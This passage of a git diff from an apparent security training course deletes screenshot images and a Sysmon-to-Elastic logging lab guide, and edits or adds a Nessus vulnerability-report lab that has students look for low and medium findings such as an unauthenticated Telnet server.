b/IntroClassFiles/Tools/IntroClass/md/images/account_confirmed.png deleted file mode 100644 index 47cbc06b..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/account_confirmed.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/add_agent.png b/IntroClassFiles/Tools/IntroClass/md/images/add_agent.png deleted file mode 100644 index 2d592bb4..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/add_agent.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/add_elastic_agent.png b/IntroClassFiles/Tools/IntroClass/md/images/add_elastic_agent.png deleted file mode 100644 index f60207fa..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/add_elastic_agent.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/add_kibana7.PNG b/IntroClassFiles/Tools/IntroClass/md/images/add_kibana7.PNG deleted file mode 100644 index 0d3b904e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/add_kibana7.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/add_windows.png b/IntroClassFiles/Tools/IntroClass/md/images/add_windows.png deleted file mode 100644 index 5bd58fa6..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/add_windows.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/addelastichost.PNG b/IntroClassFiles/Tools/IntroClass/md/images/addelastichost.PNG deleted file mode 100644 index e995d9d7..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/addelastichost.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/agent_txt.png b/IntroClassFiles/Tools/IntroClass/md/images/agent_txt.png deleted file mode 100644 index 92c9eec1..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/agent_txt.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/agents_menu.png b/IntroClassFiles/Tools/IntroClass/md/images/agents_menu.png deleted file mode 100644 index 84c188ba..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/agents_menu.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/agents_tab.png b/IntroClassFiles/Tools/IntroClass/md/images/agents_tab.png deleted file mode 100644 index dd88846b..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/agents_tab.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/another_folder.png b/IntroClassFiles/Tools/IntroClass/md/images/another_folder.png deleted file mode 100644 index c1c5ff9f..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/another_folder.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/applied_filter.PNG b/IntroClassFiles/Tools/IntroClass/md/images/applied_filter.PNG deleted file mode 100644 index d5f85419..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/applied_filter.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/backtointegrations.png b/IntroClassFiles/Tools/IntroClass/md/images/backtointegrations.png deleted file mode 100644 index cb3b6e93..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/backtointegrations.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/cd_elastic.png b/IntroClassFiles/Tools/IntroClass/md/images/cd_elastic.png deleted file mode 100644 index 2b756ce5..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/cd_elastic.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/clickinstalledintegrations.png b/IntroClassFiles/Tools/IntroClass/md/images/clickinstalledintegrations.png deleted file mode 100644 index 5ead7752..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/clickinstalledintegrations.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/cloud_signup.png b/IntroClassFiles/Tools/IntroClass/md/images/cloud_signup.png deleted file mode 100644 index e7c9fc1e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/cloud_signup.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_chrome.png b/IntroClassFiles/Tools/IntroClass/md/images/complete_download_chrome.png deleted file mode 100644 index e7149d2d..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_chrome.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_edge.png b/IntroClassFiles/Tools/IntroClass/md/images/complete_download_edge.png deleted file mode 100644 index 6fb3d79f..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_edge.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox.png b/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox.png deleted file mode 100644 index bcf337ec..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox_supplemental.png b/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox_supplemental.png deleted file mode 100644 index dbda4eaa..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/complete_download_firefox_supplemental.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/confirm_data.PNG b/IntroClassFiles/Tools/IntroClass/md/images/confirm_data.PNG deleted file mode 100644 index 729538a9..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/confirm_data.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/copy_command.png b/IntroClassFiles/Tools/IntroClass/md/images/copy_command.png deleted file mode 100644 index 7f61508d..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/copy_command.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/correct_folder.png b/IntroClassFiles/Tools/IntroClass/md/images/correct_folder.png deleted file mode 100644 index 1b1e5ba6..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/correct_folder.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/create_deployment.png b/IntroClassFiles/Tools/IntroClass/md/images/create_deployment.png deleted file mode 100644 index f3978905..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/create_deployment.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/createfilter.png b/IntroClassFiles/Tools/IntroClass/md/images/createfilter.png deleted file mode 100644 index 15477598..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/createfilter.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/creds3.PNG b/IntroClassFiles/Tools/IntroClass/md/images/creds3.PNG deleted file mode 100644 index 592461af..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/creds3.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/datasource_logs.png b/IntroClassFiles/Tools/IntroClass/md/images/datasource_logs.png deleted file mode 100644 index 8f3a64e1..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/datasource_logs.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/deployment2.PNG b/IntroClassFiles/Tools/IntroClass/md/images/deployment2.PNG deleted file mode 100644 index c6f8f58b..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/deployment2.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/download_elastic_agent.png b/IntroClassFiles/Tools/IntroClass/md/images/download_elastic_agent.png deleted file mode 100644 index 6fc5919f..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/download_elastic_agent.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/download_selection.png b/IntroClassFiles/Tools/IntroClass/md/images/download_selection.png deleted file mode 100644 index b863f64a..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/download_selection.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract.png b/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract.png deleted file mode 100644 index c2aea264..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract_all.png b/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract_all.png deleted file mode 100644 index 971fcbb1..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/download_selection_extract_all.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/elastic_creds.png b/IntroClassFiles/Tools/IntroClass/md/images/elastic_creds.png deleted file mode 100644 index 7a3e68e7..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/elastic_creds.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/elastic_email.png b/IntroClassFiles/Tools/IntroClass/md/images/elastic_email.png deleted file mode 100644 index 8f20a70c..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/elastic_email.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/elastic_welcome.png b/IntroClassFiles/Tools/IntroClass/md/images/elastic_welcome.png deleted file mode 100644 index 7cecf721..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/elastic_welcome.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/enable_central_user.png b/IntroClassFiles/Tools/IntroClass/md/images/enable_central_user.png deleted file mode 100644 index c699cd79..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/enable_central_user.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/filter.PNG b/IntroClassFiles/Tools/IntroClass/md/images/filter.PNG deleted file mode 100644 index ff2c9733..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/filter.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/filter_results.png b/IntroClassFiles/Tools/IntroClass/md/images/filter_results.png deleted file mode 100644 index d221269e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/filter_results.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/final.PNG b/IntroClassFiles/Tools/IntroClass/md/images/final.PNG deleted file mode 100644 index 52c8ba12..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/final.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/finish_button.PNG b/IntroClassFiles/Tools/IntroClass/md/images/finish_button.PNG deleted file mode 100644 index 51fdbf71..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/finish_button.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/finished_instance.png b/IntroClassFiles/Tools/IntroClass/md/images/finished_instance.png deleted file mode 100644 index 0585b2d0..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/finished_instance.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/first_landing.png b/IntroClassFiles/Tools/IntroClass/md/images/first_landing.png deleted file mode 100644 index 6c051a4a..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/first_landing.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/fleet_loc.PNG b/IntroClassFiles/Tools/IntroClass/md/images/fleet_loc.PNG deleted file mode 100644 index 0727fb80..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/fleet_loc.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/incaseyourelost.png b/IntroClassFiles/Tools/IntroClass/md/images/incaseyourelost.png deleted file mode 100644 index 97499ac5..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/incaseyourelost.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/installation.PNG b/IntroClassFiles/Tools/IntroClass/md/images/installation.PNG deleted file mode 100644 index b3f29b8a..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/installation.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/installed_integrations.png b/IntroClassFiles/Tools/IntroClass/md/images/installed_integrations.png deleted file mode 100644 index 4c457134..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/installed_integrations.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/integrations.PNG b/IntroClassFiles/Tools/IntroClass/md/images/integrations.PNG deleted file mode 100644 index aed8b710..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/integrations.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/integrations_extras.PNG b/IntroClassFiles/Tools/IntroClass/md/images/integrations_extras.PNG deleted file mode 100644 index c8debccc..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/integrations_extras.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/integrations_tab.png b/IntroClassFiles/Tools/IntroClass/md/images/integrations_tab.png deleted file mode 100644 index e706c09e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/integrations_tab.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/kibana_discover.png b/IntroClassFiles/Tools/IntroClass/md/images/kibana_discover.png deleted file mode 100644 index b25b963d..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/kibana_discover.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/kibana_landing.png b/IntroClassFiles/Tools/IntroClass/md/images/kibana_landing.png deleted file mode 100644 index 7b7e25bf..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/kibana_landing.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/kibana_loading8.PNG b/IntroClassFiles/Tools/IntroClass/md/images/kibana_loading8.PNG deleted file mode 100644 index 7adfa620..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/kibana_loading8.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/kibana_quicklink.png b/IntroClassFiles/Tools/IntroClass/md/images/kibana_quicklink.png deleted file mode 100644 index e31c9977..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/kibana_quicklink.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/kibana_search6.PNG b/IntroClassFiles/Tools/IntroClass/md/images/kibana_search6.PNG deleted file mode 100644 index c34d6bed..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/kibana_search6.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/ls_result.png b/IntroClassFiles/Tools/IntroClass/md/images/ls_result.png deleted file mode 100644 index 420b5b2a..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/ls_result.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/menu_fleet.png b/IntroClassFiles/Tools/IntroClass/md/images/menu_fleet.png deleted file mode 100644 index 9b57bcdb..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/menu_fleet.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/navigatetodiscover.png b/IntroClassFiles/Tools/IntroClass/md/images/navigatetodiscover.png deleted file mode 100644 index 6a13f3cc..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/navigatetodiscover.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/navigatetodownloads.png b/IntroClassFiles/Tools/IntroClass/md/images/navigatetodownloads.png deleted file mode 100644 index a7109638..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/navigatetodownloads.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/navigationmenu.png b/IntroClassFiles/Tools/IntroClass/md/images/navigationmenu.png deleted file mode 100644 index d5b942fe..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/navigationmenu.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/open_kibana.png b/IntroClassFiles/Tools/IntroClass/md/images/open_kibana.png deleted file mode 100644 index 58c6c45e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/open_kibana.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/open_kibana_2.png b/IntroClassFiles/Tools/IntroClass/md/images/open_kibana_2.png deleted file mode 100644 index cfbd1f0b..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/open_kibana_2.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/panel_window.png b/IntroClassFiles/Tools/IntroClass/md/images/panel_window.png deleted file mode 100644 index 4db777e9..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/panel_window.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/pic_of_box.PNG b/IntroClassFiles/Tools/IntroClass/md/images/pic_of_box.PNG deleted file mode 100644 index b19e8956..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/pic_of_box.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/powershell.PNG b/IntroClassFiles/Tools/IntroClass/md/images/powershell.PNG deleted file mode 100644 index a7ba4bdd..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/powershell.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/powershell.png b/IntroClassFiles/Tools/IntroClass/md/images/powershell.png deleted file mode 100644 index a7ba4bdd..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/powershell.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/powershell_kibana9.PNG b/IntroClassFiles/Tools/IntroClass/md/images/powershell_kibana9.PNG deleted file mode 100644 index 1bf9afba..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/powershell_kibana9.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/save_and_deploy.png b/IntroClassFiles/Tools/IntroClass/md/images/save_and_deploy.png deleted file mode 100644 index 6ca93f1b..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/save_and_deploy.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/save_integration.png b/IntroClassFiles/Tools/IntroClass/md/images/save_integration.png deleted file mode 100644 index e5899e38..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/save_integration.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/saveandnext.PNG b/IntroClassFiles/Tools/IntroClass/md/images/saveandnext.PNG deleted file mode 100644 index 460fd263..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/saveandnext.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/select_security.png b/IntroClassFiles/Tools/IntroClass/md/images/select_security.png deleted file mode 100644 index e03d3e70..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/select_security.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/select_windows.png b/IntroClassFiles/Tools/IntroClass/md/images/select_windows.png deleted file mode 100644 index 8b50616a..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/select_windows.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/skip_prompt5.PNG b/IntroClassFiles/Tools/IntroClass/md/images/skip_prompt5.PNG deleted file mode 100644 index 70e8c265..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/skip_prompt5.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/successful_agent_menu.png b/IntroClassFiles/Tools/IntroClass/md/images/successful_agent_menu.png deleted file mode 100644 index 600e16ea..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/successful_agent_menu.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/successful_enroll.PNG b/IntroClassFiles/Tools/IntroClass/md/images/successful_enroll.PNG deleted file mode 100644 index 7a921c4e..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/successful_enroll.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/successful_enrollment.png b/IntroClassFiles/Tools/IntroClass/md/images/successful_enrollment.png deleted file mode 100644 index 7f1fdf70..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/successful_enrollment.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_download.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_download.png deleted file mode 100644 index 7dcbdf5d..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_download.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract.png deleted file mode 100644 index 1bc93569..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract_all.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract_all.png deleted file mode 100644 index c1978000..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_extract_all.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_result.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_result.png deleted file mode 100644 index 308e1e69..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_result.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_running.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_running.png deleted file mode 100644 index 644c7713..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_running.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_selected.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmon_selected.png deleted file mode 100644 index 5ad3ad30..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmon_selected.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/sysmonfolder.png b/IntroClassFiles/Tools/IntroClass/md/images/sysmonfolder.png deleted file mode 100644 index 8a6969cf..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/sysmonfolder.png and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/waiting_for_deploy4.PNG b/IntroClassFiles/Tools/IntroClass/md/images/waiting_for_deploy4.PNG deleted file mode 100644 index 07cb8b20..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/waiting_for_deploy4.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/which_windows.PNG b/IntroClassFiles/Tools/IntroClass/md/images/which_windows.PNG deleted file mode 100644 index f0f25d46..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/which_windows.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/images/windows_kibana.PNG b/IntroClassFiles/Tools/IntroClass/md/images/windows_kibana.PNG deleted file mode 100644 index 2f0212db..00000000 Binary files a/IntroClassFiles/Tools/IntroClass/md/images/windows_kibana.PNG and /dev/null differ diff --git a/IntroClassFiles/Tools/IntroClass/md/sysmon_logs.md b/IntroClassFiles/Tools/IntroClass/md/sysmon_logs.md deleted file mode 100644 index 589f7d8f..00000000 --- a/IntroClassFiles/Tools/IntroClass/md/sysmon_logs.md +++ /dev/null @@ -1,158 +0,0 @@ -#### Sysmon Logs and Elastic Security - ---- - -!!! - This is part three of a three-part series. - [Part One](./elk_in_the_cloud.md "Elk in the Cloud") - [Part Two](./elastic_agent.md "Elastic Agents") - ---- - -By default, **Windows logs** are not ideal. To get logs that are more readable and useful, we can use **Sysmon**. - -**1. Download Sysmon** - -Follow this link to download Sysmon. - -[Download Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon "https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon") - -Find the **"Download Sysmon"** link. - -![Download Sysmon](./images/sysmon_download.png) - -We need to extract the **.zip** archive that we just downloaded. To do so, start by opening your **file explorer**. - -![](./images/OpeningFileExplorer.png) - -Then navigate to **Downloads** in the side panel, and click on the Sysmon **".zip"** archive. - -![](./images/navigatetodownloads.png) - -Now we can perform **"Extract All"** on the Sysmon Folder. - -Ensure the Sysmon **".zip"** archive is selected. It will be highlighted in **blue**. - -![Sysmon Extract All](./images/sysmon_extract_all.png) - -**"Extract"** to the Downloads folder. Windows should auto-populate the Downloads path. - -Once you are finished, you should see something like this: - -![](./images/sysmonfolder.png) - -For the next step, we need to open **Windows PowerShell**. This can be done by clicking on the **PowerShell** icon in the taskbar. - -![](./images/OpeningPowershell.png) - -Enter the following command. You will need to substitute **[USER]** for the user you are using on your local system. - -
cd C:\Users\[USER]\Downloads\Sysmon\
- -Run the following command to install and start **Sysmon** as a service. - -
.\Sysmon.exe -i -n -accepteula
- -The output should look similar to this. - -![Sysmon is Running](./images/sysmon_running.png) - -Now that Sysmon is running on our system, we need to configure our **Elastic agent** to gather these logs. - -Sign into your **Elastic Cloud account** using the following link: - -[Elastic Cloud Login](https://cloud.elastic.co/login "https://cloud.elastic.co/login") - - -Once logged in, navigate to **"Integrations"** through the navigation menu. - -When you log in to Elastic, you might see the following screen first. If so, go ahead and click on our deployment that we created in [Part One](./elk_in_the_cloud.md "Elk in the Cloud") (ELK in the Cloud) - -![](./images/incaseyourelost.png) - -Once you do this, you can access the navigation bar by clicking the three lines in the upper left and then navigate to Integrations. - -You may have to scroll to the bottom to find the **"Management"** section. - -![](./images/navigationmenu.png) - -At the top of the page enter **"windows"** into the search bar. Select the **Windows** option outlined with the red square below. - -![Select Windows](./images/which_windows.PNG) - -*** -Add this integration. -*** - -![Add Windows](./images/installation.PNG) - - -The next screen you see will have a lot of options on it. Luckily, we only care that one is selected: **Sysmon Operational** - -By default, this option should be active, but please double check to be sure. - -**Note:** -You will have to scroll down the page for a bit in order to find it. - -![Ensure Sysmon is Selected](./images/sysmon_selected.png) - -*** -Now save the Integration by clicking **Save and Continue** in the bottom right. -*** - -![Save the Integration](./images/saveandnext.PNG) - -*** -You will then see the following pop-up prompt. Please click **"Add elastic agent to your hosts".** -*** - -![Add Elastic Host](./images/addelastichost.PNG) - -*** -Navigate back to the Integrations menu, find the **"Installed integrations"** tab. -*** - -![](./images/backtointegrations.png) - -![](./images/clickinstalledintegrations.png) - -In [part one](./elk_in_the_cloud.md "Elk in the Cloud"), we selected an Elastic Security configuration. In doing so, **"Endpoint Security"** and **"System"** are automatically installed in our **Integrations**. - -![Installed Integrations](./images/integrations_extras.PNG) - -At this point, play around on the computer that has **Elastic Agent **installed. Move files around, create files, start programs, make a few Google searches. This will generate some logs to ensure that we have Sysmon logs reaching our cloud. - -After you have created some log activity, navigate to **"Discover"** by accessing the hamburger menu on the top left. - -![Navigate to Discover](./images/navigatetodiscover.png) - -*** -We will then create a filter: -*** - -![](./images/createfilter.png) - -Set a filter on your data to limit your results to sysmon data. This can be done by searching the **"data_stream.dataset"** field for **"windows.sysmon_operational"** data. We add a custom label of **"All Done!"**. - -![Filter Data](./images/applied_filter.PNG) - -*** -Now click **"add filter"**. Your filter should now be set. -*** - -![Sysmon Results](./images/final.PNG) - -If you have a result, and not an error, your Sysmon data is being collected and sent to **Elastic**. - -*** -***Continuing on to the next Lab?*** - -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) - -***Finished with the Labs?*** - - -Please be sure to destroy the lab environment! - -[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) - ---- diff --git a/IntroClassFiles/Tools/IntroClass/nessus/Nessus.md b/IntroClassFiles/Tools/IntroClass/nessus/Nessus.md index f657c19f..c123d330 100755 --- a/IntroClassFiles/Tools/IntroClass/nessus/Nessus.md +++ b/IntroClassFiles/Tools/IntroClass/nessus/Nessus.md @@ -11,13 +11,13 @@ Specifically, look at service headers and files. To open this lab, start file explorer: -![](attachments/OpeningFileExplorer.png) +OpenFileExplorer Then, navigate to the tools folder and open the **NessusLab** file: ![](attachments/Navintolabs.png) -![](attachments/nessus_navtonessus.png) +2026-02-23_12-43 When the file opens, please focus on service banners and files. @@ -126,3 +126,4 @@ Please be sure to destroy the lab environment! --- + diff --git a/IntroClassFiles/Tools/IntroClass/nessusIntroClass/Nessus.md b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/Nessus.md new file mode 100755 index 00000000..7fce9213 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/nessusIntroClass/Nessus.md @@ -0,0 +1,131 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Nessus Lab + +In this lab we will be looking at a vulnerability report. + +However, we will be looking at it in a different way. We will not be looking at the **"Highs and Criticals"**. Instead, we want to focus on the **"Lows and Mediums"**. We are doing this because these are often the vulnerabilities we exploit and are often missed by the organizations we test. + +Specifically, look at service headers and files. + +To open this lab, start file explorer: + +OpenFileExplorer + +Then, navigate to the tools folder and open the **NessusLab** file: + +![](attachments/Navintolabs.png) + +2026-02-23_12-43 + +When the file opens, please focus on service banners and files. + +![](attachments/nessus_home.png) + + +Now, we are going to have you hunt for **"Low and Medium"** Vulnerabilities that needed to be addressed. + +No cheating... +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +Seriously... +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +\ +Ok. + +Below is the Telnet server that has issues. + +Notice that it is a prompt. This means there is no authentication to access this server. + +![](attachments/nessus_telnetserver.png) + +Note that two of the servers require authentication and one does not. + +Check out the office files shown with the web server sitemap: + 